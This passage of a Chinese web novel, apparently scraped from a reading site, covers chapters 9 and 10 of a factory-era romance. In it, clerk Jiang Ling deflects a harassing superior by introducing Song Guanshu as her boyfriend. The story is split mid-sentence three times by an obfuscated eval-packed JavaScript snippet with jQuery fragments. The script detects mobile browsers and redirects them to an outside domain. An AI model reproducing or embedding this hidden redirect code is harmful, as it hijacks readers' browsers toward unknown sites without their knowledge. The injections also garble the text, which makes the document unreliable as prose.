身份地位不如他的工人干事总是捧着他,他都快要忘记被“冒犯”的滋味。
陆建军很有眼力见儿,帮魏明打压姜菱,“小姜啊,年轻人最重要的是谦虚谨慎,你年龄小不知道,咱们魏科长年轻时候可是咱们北城有名的神算子,青年才俊,也是日化厂运气好,在众多单位中把魏科长抢到了厂里。”
魏明是厂长的妹夫,光靠着这一层关系,就能让他用力去拍马屁。
不得不说,别看陆建军快到退休的年纪了,拍马屁的能力一点不差。
难怪古代的奸臣邪宦都是男人,男人在拍马屁上确实更加有天赋。
“让魏科长多指点指点你,对你只有好处没有坏处,你应该感谢魏科长愿意教你,而不是故步自封抗拒抵触。”
魏明年轻时候没有陆建军吹嘘的那般邪乎,是个有些才能的普通人,为了走捷径娶了厂长离过婚的妹妹。
他当上了小领导以后,经常听到关于自身的各种吹嘘,久而久之就真的以为那个人是他,很是得意。
魏明畅快地笑了,“不知者无罪嘛,这群孩子们总觉得有年龄优势,比咱们这群老帮菜强,实际上她们还都有的磨呢!”
姜菱意识到,她在吃饭前走不出财务科办公室了,她干脆把搪瓷杯放到桌上。
她愿意学习专业知识,却不想被魏明打着教学的名义揩油。
一次两次或许是巧合,次数多了就是故意。
姜菱唇角微微扬起,“我虽然是新人,进入财务科也有两年多的时间,这两年的时间,我兢兢业业学习财会知识,将所学到的知识认真贯彻到工作当中,自认为将前辈领导们教给我的知识都吸收了。难道说魏科长还有不外传的独门秘籍,没有传授给我。”
姜菱的语气卑微,却火药味很强,魏明带着几分恼羞成怒把账本扔到桌面上,“我不信你一上午记完了所有的账,这肯定是你瞎写的。”
姜菱本就做事认真,更何况来到这个陌生的环境,对于科室内的其他干事她都不熟悉,不能跟其他人聊天,手边上没有毛线。
陆建军给她交代了个工作,她就只能埋头去做。
认真工作,竟然成为了她的错。
“是或不是,您检查一遍就知道了。”
姜菱把票券和账本一起推了过去。
魏明自是不信姜菱有认真记账,这些票券,陆建军至少要用三天的时间才能完成登记。
姜菱她只用了半天,这怎么可能。
魏明是领导,检查属下工作的行为略有些掉价。
陆建军有眼力见地说,“我来我来。”
他已经做好了戳穿姜菱的准备了。
桌角摆着算盘,姜菱上午算账时一次都没有用过。
陆建军看姜菱拿着纸笔写写画画,还当她在磨洋工。
他时常这么干,只要领导交给他的工作一直做不完,他就能一直
反之,如果他每次都做得又快又好,领导并不会因此而赏识他,只会因为他能力出众,把全部工作都交给他。
他营造出看似很忙的氛围,但实际工作没有任何进展。
久而久之,领导就觉得他工作量大,需要有人合作。
这也是日化厂明明规模不大,却有两个核算员。招姜菱进厂里,就是为了解决工作量太“大”,陆建军一个人不能按时完成上面交下来的工作。
姜菱还没有来得及进行复核,但她对自己有信心。
检查花费的时间比登记少很多。
姜菱看了眼即将吃饭的时间,催促道,“马上吃中饭了,麻烦稍微快一点,别耽误大家伙吃饭。”
财务科其他干事手上的“活儿”都续上了,假装自己在忙,没有在看热闹,实际上耳朵都快要竖起来了。
陆建军检查完,抹了一把额头上并不存在的冷汗,“算你走运,竟然蒙对了。”
姜菱气笑了,他还真是死鸭子嘴硬,坚持不肯认她靠实力。
这个结果魏明很意外,刚才是他信誓旦旦主张姜菱懈怠工作。陆建军检查没有出错,虽然找的借口是姜菱运气好,明眼人都能看出来,她并非运气。
魏明心中对陆建军带着两分的埋怨,都怪他从前干活太慢。
明明他是那个挑事的,却一副老好人的口气说道,“行啦行啦,不管是蒙对了数字还是如何,只要最终的结果没有错就行,也到了吃饭的时间,快去食堂吃饭,同志们不要因为这种小事耽误了吃饭。”
就这样,轻飘飘的一句话把姜菱受到的委屈抹除掉。
姜菱心中吃饭更重要,懒得跟魏明再掰扯。
日化厂规模不大,效益却不错,其生产的香皂、洗衣膏销往全国各地。
因着效益好,日化厂食堂每顿都能见到点油腥味。
姜菱从前不爱吃肉,更喜欢吃蔬菜水果。
许是这具身体肚子里缺少油水,她连做梦都是吃肉。
食堂供应荤菜数量有限,先到先得。
在肉面前,魏明简直微不足道。
姜菱到食堂的时候早,抢到了肉菜,她幸福又痛苦地吃完了一顿饭。
趴在桌子上午睡了一会,下午闲着没事干,她从桌兜摸出一本书,故事有点无聊,但能够打发时间。
是前些年流传的手抄本,曾经被禁止的手抄本,只因环境不同,甚至能够出版发行。
她正看着,陆建军突然把一大摞票券摔到她的桌上。
“这是去年的账,你核查一下有没有出错的地方。”
姜菱的眉毛微微皱起,“去年年底不是才检查过一次,怎么还要检查?”
陆建军头顶没毛,出门的时候防止冻到头皮,会戴上个毛线帽,午睡的时候他没有取下。
冬天静电多,刚把帽子摘下来,那些仅存不多的头发在静电的作用下颤颤巍巍地站了起来。
“让你干你就干,哪来那么多为什么,财务科是个好地方,厂里很多子弟想进咱们科,你要是不能干,不如趁早退位让贤。”
姜菱明白了,这是看她闲着了,故意给她找事做。
“我想请问一下,我是厂里正式工人,工作上没有过错误,您想要开除我,是以什么身份呢?”
姜菱言外之意就是,都是普通工人,装什么大尾巴狼,还趁早退位让贤。
就是厂长都不能随便清退工人,更何况你呢?
自打上午的闹剧过后,魏明从家带过来的收音机没有被打开过。
他们科室可比收音机播放的新闻精彩多了。
姜菱这丫头不知道中了什么邪,突然变得特别厉害。
拳打即将退休倚老卖老陆建军,脚踢厂长亲戚副科长魏明。
陆建军嘴皮子比不过姜菱,想起了找领导出头。
“唐科长,你可得管管小姜,她也太没大没小了,我好歹是她的前辈,她对我丝毫没有尊重。”
魏明作为关系户,每天忙得很,不是陪厂领导吃饭,就是跟别厂干部开会,他每天呆在财务科的时间不长。
下午也是不出意外地不在财务科,吃饭前魏明吹嘘的时候,姜菱听了一耳朵,似乎是陪厂长姐夫跟政府
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069187|163116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的领导一块吃饭。
陆建军是魏明的忠实狗腿子,自打魏明进了财务科以后,他的眼里再也没有了其他人,只剩下了魏明一人。
唐科长和李春娇早就不被他放在眼里,若不是今天魏明不在,他又急于找人撑腰,未必能想起还有个唐科长。
“今天不尊重我,明天是不是敢跟你没大没小。”
作为领导,即便唐科长在财务科已经没有威信,他还是害怕陆建军假设的情况出现。
更何况陆建军是科里的老人了,在厂里的资历比他还要老。
即便心知是陆建军惹事,唐科长还是说道,“姜菱,咱们财务科跟钱打交道,出不得半点的错处,多检查两遍是好事,是为了更加稳妥,你是年轻人,别怕干活,再检查一遍。”
唐科长昨天才帮着姜菱申请宿舍的表格上签了字,欠了他的人情,姜菱只能笑着说好。
跟魏明和陆建军都起了龃龉之后,姜菱反而有些破罐子破摔的意味在。
既然是核查工作,那就不急着做。
一下午的时间,姜菱只检查了一张发票。
下班以后,姜菱在食堂吃了晚饭。
食堂每顿饭都有供应,只不过中午在食堂吃饭的工人数量更多,绝大多数工人为了省钱早晚在家吃饭。
晚上在食堂吃饭的工人数量少,为了省事儿,通常把中午剩下的饭菜热一热再卖出去。
根本就没有肉,还要进行二次加工,那味道只能用难吃来形容。
吃完晚饭,姜菱一个人回到前一天晚上留宿的寝室。
寝室中的女工本来叽叽喳喳地聊天,在她进来以后陷入了死一般地沉默。
她们的聊天内容也不是多私密,只是突然进来个外人,就感觉有些奇怪。
姜菱想着以后说不定就是室友,要打好关系。
跟她们分享了糖果,有了零食破冰,姑娘们对待她就没那么强烈的抵触心理。
分享了各自科室的八卦,说说闹闹就到了熄灯时间。
日化厂女工多,住在宿舍的姑娘们情况相同,都是房子太小住不下,家里不舍得男娃出来住,反正女孩将来是要嫁去婆家,就先去工人宿舍住两年,等出嫁以后就不用再住宿舍了。
宿舍中的姑娘问了姜菱为何住宿舍,发现彼此情况相似,便多了几分亲近之感。
跟同寝姑娘第一晚相处不错,大家知道她已经向后勤处提交了住宿申请。
对于姜菱跟大家将来能成为正式室友,表示了期待。
宿舍住不满八人,就一直有日化厂亲朋前来接住,来来往往全是陌生人,对她们来说极为不方便。
明明是宿舍,却搞得像是旅店。
她们都非常希望宿舍能够尽快住满八个人,在跟姜菱的短暂相处中,感觉这人还不错,那就她了。
姜菱一直没等到后勤通过她的住宿申请,她白天上班的时候就问了一嘴,“唐科长,我申请的宿舍,几天能够通过?”
唐科长罕见地没有带着宿醉上班,他呲溜一口搪瓷缸里的茶水,“最快三天,最慢不会超过一周。”
他吐槽似的又说,“后勤全是关系户,办事效率低,你要是着急,就得去后勤催一催。”
姜菱思考片刻,便应道,“行,我抽空去后勤催一下。”
魏明原本正在看报纸,听见两人对话,放下端着的报纸,问道,“我记得小姜是厂里子弟,怎么想到搬进厂里宿舍住。”
姜菱心中骂他八卦,见这种事都好奇,她装作很忙碌的样子说道,“我弟弟成家,家里房子太小住不下,反正我也到了结婚的年纪,干脆就住进宿舍。”
姜菱暂时还不打算告诉同事她已经结婚,虽然这有可能让魏明收收那见不得人的心思。
但若是都知道她跟宋观书已经领证,那她就得搬去跟宋观书一起住。
宋观书的心眼比筛子还多,只正常聊天就发现了她害怕他,要是住在一起那还得了。
9. 第 9 章
她有结婚的打算,这是魏明不愿意看到的情况,守了这么多年,他还没有尝到滋味,难不成要被别的男人捷足先登。
魏明回去以后反省了自己的所作所为,他想姜菱不是无缘无故地抵触,一定是因为哪里做得不到位。
他今天决定换个思路,走知心人路线,“是不是你在家里受了什么委屈,有委屈跟领导说,我和唐科长都会替你主持公道,咱们认识两年多了,你是什么样的人,我们最清楚不过。”
他一副要给姜菱撑腰的样子,“我去跟你爸妈的领导说说,财务科在厂里的地位非常重要,她们在家里闹,耽误了你的休息,若是影响了你工作,那可是大事。”
姜菱微笑,“领导放心,我一定会平衡好事业和家庭,即便结婚生子也绝对不会影响咱们科室的工作。”
财务科其他大姐听见都觉得姜菱不错,这话讲得真好听,她们女同志能顶起半边天。
魏明却听得眉头直跳,这丫头今天怎么总说他不爱听的话。
他脸上的笑容不变,“你能住得惯宿舍吗,我记得你从前住过宿舍,跟同寝室的女工处不好,又搬回了家,要我说你还是先在家里住着,我从我姐夫那里听说,咱们厂准备跟市政申请把咱厂后面那块地盖成家属楼。用不上多长时间,就能住上大房子了。”
职工宿舍是集体生活,一举一动很不方便,比不得住在家里时自由。
他想干点什么也挺不方便的。
住房在如今可是一等一的大事,家家户户都有房子不够住的烦恼,就连不喜欢魏明的唐科长都忍不住开口,“这是厂长说的吗?”
说起厂长,魏明可骄傲了,“那可不,我昨天中午跟大舅子一起陪市里领导吃饭,饭桌上就说的这件事。”
这是好事,大家都挺高兴,终于不用过三代人挤在一间小房子中的日子。
高兴之余又带上了两分幸灾乐祸,这事还没有定下来,魏明就到处宣传,厂长他务必得把这件事办成了,不然民意沸腾,要被工人在背后骂得狗血喷头。
大家本可以忍受现在住房不足的现状,可你宣传了给盖家属楼,改善工人住房难的现状,都期待住上新房子,最后却竹篮打水一场空。
出纳于家凤跟婆婆住在一起,她婆婆是乡下的,公公去世后就被她丈夫接到身边尽孝。
她跟婆婆八字不合,总会因为各种各样的原因吵起来。
她家里孩子多,儿子女儿不能混住在一起,她那婆婆是个难伺候的,明明是新社会却有封建大家长的做派,白天晚上都要有人伺候。
那死老婆子晚上觉少尿频爱打呼噜,于家凤不舍得女儿去当粗使丫环。
他们夫妻跟死老婆子住在一间房,特别不方便。
她还是个嘴巴碎的,每天家里发生什么,都得来科里念叨一遍,就为了多骂一遍婆婆。
日化厂像于家风这种情况的工人不在少数,因为房子因为穷,家家户户都有各种各样的矛盾。
财务科其他人的内心活跃起来,那可是分房子。
姜菱却冷静得很,不是她对房子没兴趣,而是她在原文中没有看到有关分房的剧情。
谢朗母亲是日化厂员工,若是分房子,剧情里不可能没有。
大概率这个计划会胎死腹中。
魏明非常享受来自于周围人的崇拜目光,因为他是厂长的妹夫,才能听说这些只有领导才知道的内部消息。
在众人一声声的吹捧中,他逐渐迷失自我。
魏明认真建议道,“上次厂里分家属楼的时候,按照工龄长短和家里人口数量来分。等这次家属楼再盖起来,至少得要个两三年的时间,为了你们家能分到面积大的房子,小姜还是先等两年再考虑结婚。”
他一副我这也是为了你好的语气。
男领导跟女下属说这种事情,非常犯忌讳。
两位出纳大姐彼此挤眉弄眼,财务科私下里都传姜菱和魏明有一腿,社会对年轻漂亮的女孩总是抱有很多恶意的。
漂亮姑娘凭什么得到异性领导的器重,只有出卖色相这一条路。
也正是怀疑两人之间有一些不可描述的关系,在姜菱和魏明发生矛盾的时候,没有人上前帮姜菱说话。
担心被魏明穿小鞋只是一方面,最主要原因是怕前脚帮了姜菱,人家后脚和好了,倒衬得她们里外不是人。
姜菱只做不懂他的意图,好奇问道,“我在娘家占房子,岂不是会影响到小家的分房面积。”
“这......”魏明一时语塞。
这还真是个胳膊肘往外拐的丫头,还没结婚呢,就为小家考虑。
当爹的不喜欢这种闺女,男人却很喜欢这样的女人,这意味着有利可图。
魏明有些遗憾,姜菱的家世普通,她若是领导家的女儿,又长了一副这样的容貌,他是愿意娶她做妻子的。
只可惜,他现在需要仰仗大舅子的地方很多。
其他人听到姜菱这样说,还以为是狗男女在打情骂俏。
为了挽回在姜菱心中的形象,魏明最终说道:“我带你去跟后勤那边说一声,你是财务科的人,那就是我魏明的人。”
“新社会,人民当家作主,没有奴隶,所有人都是独立的个体,不存在谁是谁附庸的情况,如果一定要说,我是社会主义接班人!”
本来一句很霸气侧漏的话,被姜菱打岔,变成了政治不正确。
魏明可不敢再接茬了。
也就是这几年政治环境宽松了,若是再往前十年,这句话足以让他被游街批斗。
魏明有点想放弃姜菱了,每次他自我感动到不行、热血沸腾的时候,她总能泼一盆凉水,让他直接羊尾。
他不懂,姜菱的心是铁打的吗,她怎么就那么地油盐不进。
看到那漂亮的脸蛋,他又不太舍得放弃。
他长这么大,还没看见过比姜菱更漂亮的女同志,瘦高个白皮肤,水汪汪的大眼睛像是会说话。
就这样放弃,实在是不甘心。
姜菱也在考虑,要不要让魏明去走一趟,他是厂长小舅子,出面肯定更有用。
她已经住在宿舍,后勤再晚些通过也没关系,只要能通过就行。
本着有便宜不占王八蛋的原则,魏明每天恶心她,让他多跑一趟也好。
她诚恳道谢,“谢谢科长,麻烦您跑一趟。”
原本有些偃旗息鼓的魏明瞬间翘起唇角,“不麻烦。”
“不过这毕竟不是我的事儿,恐怕得你跟我一起去。”
姜菱指着桌上的一堆票券,说道,“我也想跟领导一块去,但是我现在太忙了,空不出手。”
陆建军是魏明的忠实狗腿子 ,“检查账目不着急,是个细水长流的活儿,你只管去。”
借口被堵死,姜菱试图放弃,“其实也没有那么着急,还是等后勤通知。”
陆建军:“你这年轻人真是反复无常,魏科长贵人事忙,愿意陪着你一块去,你就应该偷着乐,推三阻四不像话,总不能让魏科长一个人去为你办事。”
这就是说她不懂事了,姜菱的确理亏,她脸上重新出现大大的笑容,“是!您说得对!”
反正财务科到后勤的距离不远,来回十分钟而已,她忍。
走出财务科时,姜菱突然灵光一现。
“魏科长,咱们从这边上楼吧。”
魏明自然没有不答应她的。
魏明三十多岁,国字脸,用这个时代的审美来看,是比较端正的长相,不然也不会被厂长妹妹看中,当上关系户。
他对自己的外貌还是比较有自信的,认为年轻小姑娘没办法抵抗他这种成熟英俊的男人。
财务科除了姜菱年轻漂亮没对象没背景,其余都是已经结了婚的大姐。
作为地道的投机分子,魏明清楚知道什么样的人能够招惹。
而且他审美正常,喜欢年轻漂亮的小姑娘。
家里的老婆长得丑,肯定要在外面找个好看的。
魏明想要趁着两人独处时,说些知心话,让姜菱感受到他的个人魅力。
还不待开口,就看到她脸上绽放出明媚的笑容。
“宋观书同志。”
宋观书正看向窗外发呆,突然被人喊了名字,他抬起头,刚好看到灿烂的笑容。
带着魏明七拐八绕,终于来到了技术科。
魏明别有用心,让他知道她已经有对象是最快的解决办法。
如果不是不方便将已经结婚的事情宣布,她更想要一步到位。
迎着技术科干事揶揄好奇的目光,宋观书走出办公室。
“突然来找我,有什么事吗?”
宋观书笑容温和,举止让人如沐春风,蓝色工装洗得干干净净,穿在他身上极为板正。明明是烂大街的工装,穿在他身上却显得腰细腿长。
除了不解姜菱为何来技术科找他,还搞不清楚她为何带着财务科的副科长一起来。
宋观书记性好,厂里每个人属于哪个部门,大到厂长小到普通生产工人,他都能记住。
姜菱搭上他的手臂,“这位就是我跟你介
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069188|163116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绍过很多次的魏科长,他平时很照顾我。魏科长特别热心肠,我申请咱厂的集体宿舍一直没有通过,他听说以后主动要帮我跟后勤交涉。”
魏明看见姜菱挽着青年手臂的熟稔动作,便下意识觉得不妙。
果然下一秒就听见姜菱介绍道,“这是我对象,我只是一天没见他,这心里就抓心挠肝地想,所以自作主张绕到技术科来看他一眼。魏科长,你不会怪我吧?”
宋观书很快分析出发生了什么事。
他能理解姜菱此举是想要斩断烂桃花,只是她说话也太过于肉麻。
什么抓心挠肝。
这绝对不可能的。
“魏科长,多谢你这段时间对姜菱同志的帮助。”宋观书睫毛浓密纤长,低垂眼睫看她时,眼中满是温柔。
“日后姜菱在财务科无论遇到什么样的麻烦,都可以来找我,我一定会竭尽所能解决。”
姜菱有点没想到,宋观书竟然会替她解围。
从她在原著中对他的了解,宋观书既不善良也不温和,跟表现出来的性格截然相反,他偏执恶毒,喜欢看人承受痛苦折磨。
姜菱早就做好他不配合的准备,这显得事先做准备的她很呆。
魏明不仅被喂了一嘴狗粮,闻到了恋爱的酸臭气味。
更令他气愤的是,他看中的菜还没有尝过,被人端走了。
魏明瞬间没了去后勤处的心思,他说,“小姜啊,我突然想起还有个会要开,不能陪你一起去后勤处,你让小宋跟你一块去。”
见到没有利益可图,魏明不愿再付出。
当然,他也想让姜菱看看,男人还是得有权有钱,小白脸光长了一张好脸,没有办法给她的日常生活带来利益。
姜菱举起手挥了两下,“科长慢走!”
走廊只剩下两人时,瞬间陷入了沉默。
没有观众,宋观书懒得表演好丈夫。
而姜菱也不知道应该跟他说什么。
不是第一次有年轻小姑娘来技术科找宋观书,这个却是让他在外停留时间最长的一位。
技术科干事通过靠近走廊的窗户看向两人。
姜菱觉得自己必须得说点什么,不能让他确定她害怕他。
她得大大方方,还要亲昵一点,然后姜菱脑子一抽问,“你办公室有零嘴吗?”
宋观书有些呆愣地缓缓点头。
“给我来点。”
说完姜菱就后悔了,宋观书回办公室的时候,她盯着雪白粗糙的墙面一脸生无可恋。
宋观书抱着一罐麦乳精,声音中带着些许歉意,“只剩下半罐子,我家里还有一罐没有开封过的,明天带给你。”
这麦乳精是前几天去姜家拜访时特意买的,后来因为姜菱被父亲赶出家门,她一气之下把带过去的礼物全都提了出来。
跟麦乳精一同购买的罐头被姜菱送给了大姐姜莲,让她带回家给侄女吃。
宋观书不挑剔吃食,他工资高花销少,若不是送礼不会买麦乳精这种非生活必需品。
他不喜欢麦乳精这种勾兑的口感,就将麦乳精带到办公室跟同事分享,技术科的干事们很喜欢这免费的麦乳精。
虽然都是工人老大哥,工资不低,但都是上有老下有小,工资都是紧巴巴,没有说无缘无故买麦乳精回家吃。
就算过年买了一罐子改善伙食,一大半都进了老人和小孩的肚子里。
他们这些中年人,赚钱最多,吃穿却是家里最差。
姜菱本就是抽风,哪里还能再管他要一罐麦乳精。
她赶紧说道,“不用了,一罐子就够吃很长时间了,你自己留着吃,你长得瘦,得多吃点有营养的东西补身体。”
姜菱怕自己再呆下去,会做出一些无可挽回的事情,借口科里还有事忙,先回去了。
抱着麦乳精在办公楼狂奔,终于回到财务科。
科里才将收音机打开,下午有评书,几位老大姐拿出毛线,见出去办事的只有姜菱回来。
而且她出去求人办事,怎么还抱了罐子......麦乳精?
总不会是后勤处觉得自己部门工作做得不够好,故而送了一罐子麦乳精给姜菱赔礼道歉。
陆建军自以为跟姜菱关系不错,他先开口问道,“小姜,你跟魏科长一起去后勤,怎么就你一人回来了,你怀里这麦乳精是哪来的?”要是去后勤就有麦乳精送,那他一定要跑一趟的。
姜菱把麦乳精罐子放到桌面,先打开看了眼还剩下多少。
“这个是我对象给的。”
10. 第 10 章
这下财务科所有人都糊涂了。
姜菱的对象?
从前没听说过有这个人啊。
正在缠毛线的李春娇将收音机音量调小,评书还有重播,八卦错过就不再有。
因着姜菱同魏明一块出去,所有人都不出意料的想偏了。
大家还想呢,姜菱太大胆。
这种事怎么能说。
不说魏明已经结婚,他们可是乱搞男女关系,要蹲监狱的。
再说了,魏明可是厂长的亲妹夫,姜菱不怕在日化厂混不下去吗?
陆建军虽然是魏明的狗腿子,听到这消息,他第一时间想到的是跟厂长告密。
厂长不会容忍妹夫跟女下属乱搞,不管是撤职还是离婚,副科长的位置空下来,他很有机会在退休前当上副科长。
姜菱是故意话说一半,让其他人多想。
“你对象,是谁啊,不会是咱们魏科长吧,人家有老婆。”
姜菱一脸你在胡说什么的表情,“当然不是,你们都在想什么,我好歹也是一大好青年,三观正常,怎么可能当小三。”
她气哼哼说道,“我对象是技术科的干事,你们应该见过他,他叫宋观书。”
提到这个名字,唐科长和陆建军两个男同志还得思考这人是谁。
几位女同志顿时恍然大悟,“原来是他。”这人长得太出色,厂里女工都知道他。
说起技术科姓宋,立刻想到他
两位男同志一头雾水,这人到底是谁,怎么大家都认识他,倒显得他们两个没见过世面。
唐科长不耻下问,“小姜的对象,很有名吗?”
李春娇一拍手,“不怪你不知道,这个小宋长得可好看......”
男人好色,女人也好色。
唐科长这下知道了,他为什么不认识姜菱的对象。
姜菱骄傲点头,“李姐说得没错,我对象长得特别好看。”
哪怕经历过后世各种美颜滤镜满天飞,她也不得不夸他一句俊美无双。
可以说他心理变态,人品有问题,但宋观书的脸绝对让人没话说。
他笑着摇摇头,“你们啊。”
财务科的大姐们都怀疑过姜菱和魏明私下有一腿,今天听说她对象是宋观书,纷纷打消怀疑。
姜菱只要是不瞎,就能在宋观书和魏明之间作出正确的选择。
大家曾经对姜菱抱有淡淡的敌意,误会她走捷径,不仅是社会不提倡的行为,而且还破坏了人家的家庭。
当然了,也看不惯她年纪轻轻跟老男人混在一起。
生了女儿的人,最看不惯年轻女孩堕落。
听说她的对象是宋观书,对于年轻人的甜甜恋爱,大家很好奇。
七嘴八舌问起两人如何认识,平时又是怎样相处。
宋观书跟她不太相处的。
但不影响姜菱到处宣传两人感情好,“他非常耐心,特别照顾我,一个眼神就知道我想要干什么。”
老大姐们听得脸上泛起笑容,纷纷附和,“光看面相就知道,小宋特别耐心,是个对老婆好的男人。”
陆建军牙齿差点被酸倒,他不懂,怎么能够看面相知道这人对老婆好。
“姜菱,你运气好,捡了小宋做对象。”
姜菱陷入巨大幸福之中的摸样,“他运气也好,有我这么漂亮的对象。”
老大姐们一脸姨母笑,还是看小年轻处对象有趣。
姜菱有一瞬间能够理解宋观书立人设秀恩爱,确实能够解决很多不必要的麻烦。
“你们跟小宋计划什么时候结婚?”科室老大姐语重心长说“小宋这种好男人,遇上了就不能放开。”
办公室大姐们对于宋观书一口一个好男人,可见他人设深入人心。
姜菱想,她也得跟宋观书学习。
她一脸娇羞回答,“看他想法,我都行。”
妥妥沉迷男色不可自拔的形象。
老大姐们都是从这年龄段过来的人,能理解姜菱的反应。
唐科长和陆建军俩位男同志却不能理解她的做法,女孩儿家应该知道羞耻,这也太......
姜菱可不管别人怎么想,她一定要把恋爱脑的人设立起来!
她心里只有对象宋观书,别的什么牛鬼蛇神通通走开。
谢朗一巴掌,魏明更是降龙十八掌。
谢朗没有做错任何事,谁让他是男主,是女主的官配,那就应该远离。
女配不能靠近男主,会变得不幸。
“我记得,小宋不是咱本地人,他进厂时,厂里已经没有房子能发,他住在哪里,职工宿舍吗?那你们结婚以后怎么办,总不能小两口分居,你得去后勤问问,你们这种情况,厂里能不能特殊情况特殊分析,给你们分一个单间。”
日化厂员工都是本地人,从前没有这种情况出现。
姜菱笑着答应下,反正是不会发生的情况。
她没兴趣跟宋观书一起住,想来宋观书也不愿意跟她一起住。
于家凤问:“小宋不是本地人,那他婚后是跟父母一起住,还是只有你们小两口?”
姜菱脸上的笑容快要挂不住,这些姐姐们想得也太长远了吧。
她答道,“不知道,他好像是孤儿。”
于家凤激动得直拍手,“孤儿好啊。”
对上其他人怪异的目光,她才意识到自己话里的不妥,于家凤解释道,“我的意思是,以后不用被婆婆磋磨,是个好事。”
说完,又觉得哪里不对劲,她继续打补丁,“也不是说,小宋的母亲会是个恶婆婆,婆婆和儿媳很难相处的,你以后少了麻烦。”
她又絮絮叨叨说起自己那个坏到透顶的恶婆婆,那简直是人神共愤。
“我当年生我们家老大的时候,我妈忙着伺候我嫂子坐月子,我们家老赵把他妈接到城里来,一个月给她十块钱,让她帮忙照顾我和孩子,她来了以后连饭都不做,我抱着孩子,还得做两个人的饭,数九寒冬用凉水洗菜,过了这么多年,我冬天都不敢碰凉水。”
陆建军作为男人,在媳妇和老娘之间,他更向着老娘,从而认为所有觉得婆婆不好的儿媳妇,都是坏儿媳妇。
所以他很是看不上于家凤,觉得对方蛮不讲理。
“事情都过去了这么多年,你还拿出来说,算了吧得饶人处且饶人,你婆婆不容易,你毕竟是小辈,怎么能跟长辈计较呢?”
说起婆婆,于家凤就非常气愤,“那个死老婆子在我坐月子的时候没给我倒过一杯热水,现在老了不能动弹,让我给她端屎端尿,凭什么!”
女人家很能对她感同身受,即便听她吐槽过很多次,依旧频频点头。
倒是唐科长和陆建军颇不赞同,只是他们对自己的实力有正确的认知,知道争不过几位女同志,不敢随意插话。
陆建军不爱听女同志们的聊天内容,就问姜菱,“对了,怎
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069189|163116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么只有你一个人回来了,魏科长人呢?”
姜菱单纯说道,“魏科长说他突然想起要去开会,我就先回办公室。”
魏明郁闷地在卫生间抽了半包烟,才回了财务科。
他没有会议要开,不过是不想看到小情侣秀恩爱,故意走开了。
回到财务科的时候,带着一股子难以言喻的味道。
他回去以后,还不忘关心姜菱在后勤的办事进程。
“技术科的小宋陪你一起去后勤了吧,事儿办得怎么样。”他为自己临阵脱逃的举动解释道,“你知道的,厂里领导比较器重我,大事小情都喜欢叫我陪同。”
姜菱说:“您突然去开会,我没有去后勤,半路回来了。”
这结果不在魏明意料之中,但他很满意,没有他在场,就办不成任何事情。
他觉得姜菱还算懂事,知道光靠她那个技术科的对象是不够的。
魏明的声音中带上了两分得意,“下次找机会,我带着你去后勤,后勤都是纸老虎,没什么好怕的。”
“你对象在技术科,还只是个小科员吧,不过是个跑腿的小喽啰,有什么本事?你跟他在一起会耽误了自己的前程。”他语重心长说道,“你是咱们财务科最年轻最优秀的干事,你的性格好人品好,按照你的条件,可以找到条件更好的对象。”
“年轻人眼光要放长远一点,找对象不能只看皮囊,重要的是内在品性,以及外在的身份地位财富。咱们厂里很多领导都喜欢你,愿意娶你,你不要吊死在一棵歪脖子树上。”
魏明恶意地想,长了一副唬人的外表,想也没什么能耐。
姜菱是个恋爱脑啊,她怎么会在意这些外在的条件呢,她满脸花痴说道,“我不在乎外在的条件,我就喜欢他,只要他顶着那张脸,哪怕什么活儿都不干,让我养他都行。”
财务科几位老大姐对魏明谈不上喜欢,也谈不上讨厌。
虽然不太喜欢他平时装腔作势,他的确能给大家带来切实利益,平时多分到的年货,以及科室里还在用着的收音机。
吃人嘴短,能够忍受他的一些小毛病。
小宋是她们心中好女婿的代表,
好女婿被魏明贬低得一文不值,大家都不太高兴
魏明毕竟是厂长妹夫,厂里有名的关系户,不好当面怼他得罪人,只默默在心里将他划了个叉。
魏明虽然是关系户,却非常重视群众路线,很在意普通工人干事对他的评价。
他的目标不只是财务科科长,想要当上日化厂厂长。
魏明认为自己有这个能力。
所以他很在意自己的名声,把家里的收音机带到科室,让同事一起听,以博得同事好感。
李春娇原本是财务科内定的下任科长,老唐退休以后,她就能上去。
结果厂里空降了个魏明到财务科,这人还是厂长的妹夫。
魏明比她年轻,又比她关系硬,她想要升职的可能性不大。
不同于科里其他干事,她对魏明的态度始终麻麻的。
凭借两人职级相同,她的资历更老,平日哪怕刺上他两句,魏明也不能说半句不是。
